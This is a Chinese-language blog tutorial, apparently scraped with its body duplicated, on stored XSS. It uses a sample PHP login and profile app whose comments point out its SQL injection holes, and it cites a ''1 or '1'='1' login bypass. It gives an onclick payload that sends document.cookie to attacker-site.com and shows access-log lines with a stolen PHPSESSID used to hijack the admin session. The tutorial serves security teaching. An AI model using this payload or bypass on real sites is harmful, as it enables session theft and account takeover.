XSS学习笔记(二)(存储型XSS,持久型攻击)
2014-04-21 10:30
363 查看
持久型XSS攻击就是把攻击数据存进数据库,攻击行为就伴随着攻击数据一直存在,下面找来一个利用持久型攻击获取Session ID,同时向浏览器传送一个cookie,(这里科普一下,即使是使用了session验证的方法,还是需要客户端支持cookie), cookie会保存会话连接中的数据,Session ID作为会话标识,浏览器的后续请求就会基于后续请求,攻击者可以提供一个攻击链接,用户点击该链接时,向攻击者自己的服务器发送一条保存有session
id 的信息,这样就可以窃取到用户的session id,得到用户的登录权限了。
这里是常见的login.php的代码,大致说下执行流程, 根据user_name查找相应的pass_word,然后将用户提供的password与在数据库里的pass_word进行比较,如果验证通过就建立一个user_name的session:
[php] view
plaincopyprint?
<?php
$Host= 'www.baidu.com';
$Dbname= 'app_db';
$User= 'you_knows';
$Password= 'you_dontknows';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
/* 这里就是查询数据的过程,不要学这个,直接就是SQL Injection 的漏洞 ,user_name 都没有 string转义, 直接'1 or '1'='1 就登录了, */
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name; /* 建立session 字典对象, 同时在客户端会存有cookie */
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>
这里还有一个home.php的代码,可以根据登录用户是admin 或者是不同的用户,做一个分权的处理,对admin列出功能菜单,对于其他用户,提供包含输入的框的form,可以在数据库插入新的数据:
[php] view
plaincopyprint?
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
/* 其实好的PHP代码的数据库链接类都是应该放在单独的程序里的,不会这么冗余的丢在这 */
$Host= 'www.baidu.com';
$Dbname= 'app_db';
$User= 'you_knows';
$Password= 'you_dontknows';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
/* 在网上找的这段话代码太坑了,这里又是罪恶的不转义拼接,这个在任何时候都是不可取的,不要信任用户的任意输入 */
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
/* 在PHP中的语法都是双引号和单引号还有关键括号都需要"\"转义 */
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?>
攻击者可以通过一个普通用户登录进来,然后在输入框中提交以下数据(在没被过滤的情况下):
[html] view
plaincopyprint?
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">美女admin </a>
这样根据home.php的过滤条件,如果是admin账户,就会显示含有"美女admin"的列表,然后如果是点击了"美女admin" 的链接,他cookie就可以被收集到我的服务器上(这里是被动式的触发的漏洞,具有一定的猥琐性),搭建的XSS平台一定也有挺多的简单方法,最简单的就是在Apache的access.log中查看,类似的日志是:
172.29.32.182 - - [17/Apr/2014:15:46:18 +0800] "GET /favicon.ico HTTP/1.1" 404 1675
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "HEAD /qweiop43809442fsfjflr.html HTTP/1.1" 404 -
172.23.10.11 - - [19/Apr/2014:15:20:43 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.110 - - [19/Apr/2014:15:20:43 +0800] "GET /xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3 200 38 ------ 一次记录的XSS信息,包括目标IP和目标网页以及cookie
有了该攻击者的session-id, 攻击者在会话有效期内即可获得admin的用户权限,并且由于攻击数据已经在数据库,所以只要不删除数据库里的记录,还是会有可能受到攻击,是属于持久性的。其实这里的钓鱼邮件等都是利用这种简单的方法来实现的的,这里的猥琐方法有很多,这里就说这点吧。
id 的信息,这样就可以窃取到用户的session id,得到用户的登录权限了。
这里是常见的login.php的代码,大致说下执行流程, 根据user_name查找相应的pass_word,然后将用户提供的password与在数据库里的pass_word进行比较,如果验证通过就建立一个user_name的session:
[php] view
plaincopyprint?
<?php
$Host= 'www.baidu.com';
$Dbname= 'app_db';
$User= 'you_knows';
$Password= 'you_dontknows';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
echo "Database Connection Failure";
exit;
}
/* 这里就是查询数据的过程,不要学这个,直接就是SQL Injection 的漏洞 ,user_name 都没有 string转义, 直接'1 or '1'='1 就登录了, */
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];
if(strcmp($user_pass,$row['password'])!=0) {
echo "Login failed";
}
else {
# Start the session
session_start();
$_SESSION['USER_NAME'] = $user_name; /* 建立session 字典对象, 同时在客户端会存有cookie */
echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?>
这里还有一个home.php的代码,可以根据登录用户是admin 或者是不同的用户,做一个分权的处理,对admin列出功能菜单,对于其他用户,提供包含输入的框的form,可以在数据库插入新的数据:
[php] view
plaincopyprint?
<?php
session_start();
if(!$_SESSION['USER_NAME']) {
echo "Need to login";
}
else {
/* 其实好的PHP代码的数据库链接类都是应该放在单独的程序里的,不会这么冗余的丢在这 */
$Host= 'www.baidu.com';
$Dbname= 'app_db';
$User= 'you_knows';
$Password= 'you_dontknows';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
if($_SERVER['REQUEST_METHOD'] == "POST") {
/* 在网上找的这段话代码太坑了,这里又是罪恶的不转义拼接,这个在任何时候都是不可取的,不要信任用户的任意输入 */
$query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
pg_query($Connect,$query);
echo "Update Success";
}
else {
if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
echo "Welcome admin<br><hr>";
echo "List of user's are<br>";
$query = "select display_name from $Schema.members where user_name!='admin'";
$res = pg_query($Connect,$query);
while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
echo "$row[display_name]<br>";
}
}
else {
/* 在PHP中的语法都是双引号和单引号还有关键括号都需要"\"转义 */
echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
echo "<input type=\"submit\" value=\"Update\">";
}
}
}
?>
攻击者可以通过一个普通用户登录进来,然后在输入框中提交以下数据(在没被过滤的情况下):
[html] view
plaincopyprint?
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">美女admin </a>
这样根据home.php的过滤条件,如果是admin账户,就会显示含有"美女admin"的列表,然后如果是点击了"美女admin" 的链接,他cookie就可以被收集到我的服务器上(这里是被动式的触发的漏洞,具有一定的猥琐性),搭建的XSS平台一定也有挺多的简单方法,最简单的就是在Apache的access.log中查看,类似的日志是:
172.29.32.182 - - [17/Apr/2014:15:46:18 +0800] "GET /favicon.ico HTTP/1.1" 404 1675
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.11 - - [19/Apr/2014:15:20:42 +0800] "HEAD /qweiop43809442fsfjflr.html HTTP/1.1" 404 -
172.23.10.11 - - [19/Apr/2014:15:20:43 +0800] "GET / HTTP/1.1" 200 7859
172.23.10.110 - - [19/Apr/2014:15:20:43 +0800] "GET /xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3 200 38 ------ 一次记录的XSS信息,包括目标IP和目标网页以及cookie
有了该攻击者的session-id, 攻击者在会话有效期内即可获得admin的用户权限,并且由于攻击数据已经在数据库,所以只要不删除数据库里的记录,还是会有可能受到攻击,是属于持久性的。其实这里的钓鱼邮件等都是利用这种简单的方法来实现的的,这里的猥琐方法有很多,这里就说这点吧。
相关文章推荐
- XSS学习笔记(二)(存储型XSS,持久型攻击)
- 【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架
- 【安全牛学习笔记】存储型XSS漏洞原理及修复方法
- 【安全牛学习笔记】XSS-简介、跨站脚本检测和常见的攻击利用手段
- 【安全牛学员笔记】存储型XSS和BEEF浏览器攻击框架
- 【安全牛学习笔记】XSS-简介、跨站脚本检测和常见的攻击利用手段
- 【安全牛学习笔记】手动漏洞挖掘-SQL注入XSS-简介、跨站脚本检测和常见的攻击利用手段
- 第二天学习笔记:(MDN HTML学习、web安全策略与常见攻击、语义化)
- 【安全牛学习笔记】XSS的简述
- 【安全牛学习笔记】拒绝服务攻击工具
- django学习——常见的网站攻击的三种方式:sql注入、xss、csrf
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】
- SQL Server学习笔记之三(如何让数据库抵御外界的攻击)
- 行为树-学习笔记(5)-AI寻找玩家目标并攻击的实现
- 【安全牛学习笔记】SNMP放大攻击
- 【安全牛学习笔记】拒绝服务攻击工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye
- 安卓逆向学习笔记(6)- smali注入攻击
- XSS学习笔记(六)-XSS蠕虫
- 黑马程序员--学习笔记之SQL注入漏洞攻击
- CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】